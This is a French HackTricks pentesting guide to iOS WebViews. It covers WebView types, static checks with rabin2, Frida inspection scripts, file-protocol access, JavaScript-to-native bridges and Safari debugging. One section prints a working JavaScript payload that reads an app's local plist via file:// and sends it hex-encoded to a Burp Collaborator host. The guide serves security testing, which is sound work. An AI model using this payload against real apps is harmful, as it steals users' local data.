iOS WebViews

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Le code de cette page a été extrait d'ici. Consultez la page pour plus de détails.

Types de WebViews

Les WebViews sont utilisés dans les applications pour afficher du contenu web de manière interactive. Différents types de WebViews offrent différentes fonctionnalités et caractéristiques de sécurité pour les applications iOS. Voici un bref aperçu :

  • UIWebView, qui n'est plus recommandé à partir d'iOS 12 en raison de son manque de prise en charge de la désactivation de JavaScript, le rendant susceptible aux injections de script et aux attaques de Cross-Site Scripting (XSS).

  • WKWebView est l'option préférée pour incorporer du contenu web dans les applications, offrant un contrôle amélioré sur le contenu et des fonctionnalités de sécurité. JavaScript est activé par défaut, mais peut être désactivé si nécessaire. Il prend également en charge des fonctionnalités pour empêcher JavaScript d'ouvrir automatiquement des fenêtres et garantit que tout le contenu est chargé de manière sécurisée. De plus, l'architecture de WKWebView réduit au minimum le risque de corruption de mémoire affectant le processus principal de l'application.

  • SFSafariViewController offre une expérience de navigation web standardisée au sein des applications, reconnaissable par sa mise en page spécifique comprenant un champ d'adresse en lecture seule, des boutons de partage et de navigation, et un lien direct pour ouvrir le contenu dans Safari. Contrairement à WKWebView, JavaScript ne peut pas être désactivé dans SFSafariViewController, qui partage également des cookies et des données avec Safari, préservant la confidentialité de l'utilisateur depuis l'application. Il doit être affiché de manière prominente conformément aux directives de l'App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Résumé de l'Exploration de la Configuration des WebViews

Aperçu de l'Analyse Statique

Dans le processus d'examen des configurations des WebViews, deux types principaux sont mis en avant : UIWebView et WKWebView. Pour identifier ces WebViews dans un binaire, des commandes sont utilisées pour rechercher des références de classes spécifiques et des méthodes d'initialisation.

  • Identification de UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Ce commande aide à localiser les instances de UIWebView en recherchant des chaînes de texte liées à celle-ci dans le binaire.

  • Identification de WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

De même, pour WKWebView, cette commande recherche le binaire pour les chaînes de texte indicatives de son utilisation.

De plus, pour trouver comment un WKWebView est initialisé, la commande suivante est exécutée, ciblant la signature de méthode liée à son initialisation :

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Vérification de la configuration JavaScript

Pour WKWebView, il est souligné que la désactivation de JavaScript est une meilleure pratique sauf si nécessaire. Le binaire compilé est recherché pour confirmer que la propriété javaScriptEnabled est définie sur false, garantissant que JavaScript est désactivé:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Vérification du contenu sécurisé uniquement

WKWebView offre la capacité d'identifier les problèmes de contenu mixte, contrairement à UIWebView. Cela est vérifié en utilisant la propriété hasOnlySecureContent pour garantir que toutes les ressources de la page sont chargées via des connexions sécurisées. La recherche dans le binaire compilé est effectuée comme suit :

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Perspectives de l'analyse dynamique

L'analyse dynamique implique d'inspecter le tas de mémoire pour les instances de WebView et leurs propriétés. Un script nommé webviews_inspector.js est utilisé à cette fin, ciblant les instances UIWebView, WKWebView et SFSafariViewController. Il enregistre des informations sur les instances trouvées, y compris les URL et les paramètres liés à JavaScript et au contenu sécurisé.

L'inspection du tas peut être effectuée en utilisant ObjC.choose() pour identifier les instances de WebView et vérifier les propriétés javaScriptEnabled et hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Le script est exécuté avec :

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Résultats clés:

  • Les instances de WebViews sont localisées et inspectées avec succès.

  • L'activation de JavaScript et les paramètres de contenu sécurisé sont vérifiés.

Cette synthèse résume les étapes critiques et les commandes impliquées dans l'analyse des configurations de WebView à travers des approches statiques et dynamiques, en mettant l'accent sur les fonctionnalités de sécurité telles que l'activation de JavaScript et la détection de contenu mixte.

Gestion des protocoles WebView

La gestion du contenu dans les WebViews est un aspect critique, surtout lorsqu'il s'agit de différents protocoles tels que http(s)://, file:// et tel://. Ces protocoles permettent le chargement de contenu à la fois distant et local dans les applications. Il est souligné que lors du chargement de contenu local, des précautions doivent être prises pour empêcher les utilisateurs d'influencer le nom ou le chemin du fichier et d'éditer le contenu lui-même.

Les WebViews offrent différentes méthodes de chargement de contenu. Pour UIWebView, désormais obsolète, des méthodes telles que loadHTMLString:baseURL: et loadData:MIMEType:textEncodingName:baseURL: sont utilisées. WKWebView, quant à lui, utilise loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: et loadRequest: pour le contenu web. Des méthodes telles que pathForResource:ofType:, URLForResource:withExtension: et init(contentsOf:encoding:) sont généralement utilisées pour charger des fichiers locaux. La méthode loadFileURL:allowingReadAccessToURL: est particulièrement notable pour sa capacité à charger une URL ou un répertoire spécifique dans la WebView, exposant potentiellement des données sensibles si un répertoire est spécifié.

Pour trouver ces méthodes dans le code source ou le binaire compilé, des commandes comme celles-ci peuvent être utilisées:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

En ce qui concerne l'accès aux fichiers, UIWebView le permet de manière universelle, tandis que WKWebView introduit les paramètres allowFileAccessFromFileURLs et allowUniversalAccessFromFileURLs pour gérer l'accès à partir d'URL de fichiers, avec les deux étant faux par défaut.

Un exemple de script Frida est fourni pour inspecter les configurations de WKWebView pour les paramètres de sécurité :

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Enfin, un exemple de charge utile JavaScript visant à exfiltrer des fichiers locaux démontre le risque potentiel pour la sécurité associé à des WebViews mal configurés. Cette charge utile code les contenus des fichiers au format hexadécimal avant de les transmettre à un serveur, soulignant l'importance de mesures de sécurité strictes dans les implémentations de WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Méthodes natives exposées via les WebViews

Compréhension des interfaces natives des WebViews sur iOS

À partir d'iOS 7, Apple a fourni des API pour la communication entre JavaScript dans un WebView et les objets natifs Swift ou Objective-C. Cette intégration est principalement facilitée par deux méthodes :

  • JSContext : Une fonction JavaScript est automatiquement créée lorsqu'un bloc Swift ou Objective-C est lié à un identifiant dans un JSContext. Cela permet une intégration et une communication transparentes entre JavaScript et le code natif.

  • Protocole JSExport : En héritant du protocole JSExport, les propriétés natives, les méthodes d'instance et les méthodes de classe peuvent être exposées à JavaScript. Cela signifie que tout changement apporté dans l'environnement JavaScript est reflété dans l'environnement natif, et vice versa. Cependant, il est essentiel de s'assurer que des données sensibles ne sont pas exposées involontairement par cette méthode.

Accès à JSContext en Objective-C

En Objective-C, le JSContext pour un UIWebView peut être récupéré avec la ligne de code suivante :

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication avec WKWebView

Pour WKWebView, l'accès direct à JSContext n'est pas disponible. Au lieu de cela, la communication est réalisée via la fonction postMessage, permettant à JavaScript de communiquer avec l'application native. Les gestionnaires de ces messages sont configurés comme suit, permettant à JavaScript d'interagir de manière sécurisée avec l'application native :

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction et Test

JavaScript peut interagir avec la couche native en définissant un gestionnaire de messages de script. Cela permet des opérations telles que l'invocation de fonctions natives à partir d'une page web :

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Pour capturer et manipuler le résultat d'un appel de fonction native, on peut remplacer la fonction de rappel dans le HTML :

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Le côté natif gère l'appel JavaScript comme indiqué dans la classe JavaScriptBridgeMessageHandler, où le résultat des opérations telles que la multiplication des nombres est traité et renvoyé à JavaScript pour affichage ou manipulation ultérieure :

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Débogage des WebViews iOS

(Tutoriel basé sur celui de https://blog.vuplex.com/debugging-webviews)

Pour déboguer efficacement le contenu web dans les WebViews iOS, une configuration spécifique impliquant les outils de développement de Safari est nécessaire, car les messages envoyés à console.log() ne s'affichent pas dans les journaux Xcode. Voici un guide simplifié, mettant en avant les étapes clés et les exigences :

  • Préparation sur l'appareil iOS : L'inspecteur Web de Safari doit être activé sur votre appareil iOS. Pour ce faire, allez dans Réglages > Safari > Avancé, et activez l'Inspecteur Web.

  • Préparation sur l'appareil macOS : Sur votre machine de développement macOS, vous devez activer les outils de développement dans Safari. Lancez Safari, accédez à Safari > Préférences > Avancé, et sélectionnez l'option Afficher le menu Développement.

  • Connexion et Débogage : Après avoir connecté votre appareil iOS à votre ordinateur macOS et lancé votre application, utilisez Safari sur votre appareil macOS pour sélectionner la WebView que vous souhaitez déboguer. Naviguez jusqu'à Développer dans la barre de menu de Safari, survolez le nom de votre appareil iOS pour voir une liste des instances de WebView, et sélectionnez l'instance que vous souhaitez inspecter. Une nouvelle fenêtre de l'inspecteur Web de Safari s'ouvrira à cette fin.

Cependant, soyez conscient des limitations :

  • Le débogage avec cette méthode nécessite un appareil macOS car il dépend de Safari.

  • Seules les WebViews dans les applications chargées sur votre appareil via Xcode sont éligibles pour le débogage. Les WebViews dans les applications installées via l'App Store ou Apple Configurator ne peuvent pas être déboguées de cette manière.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour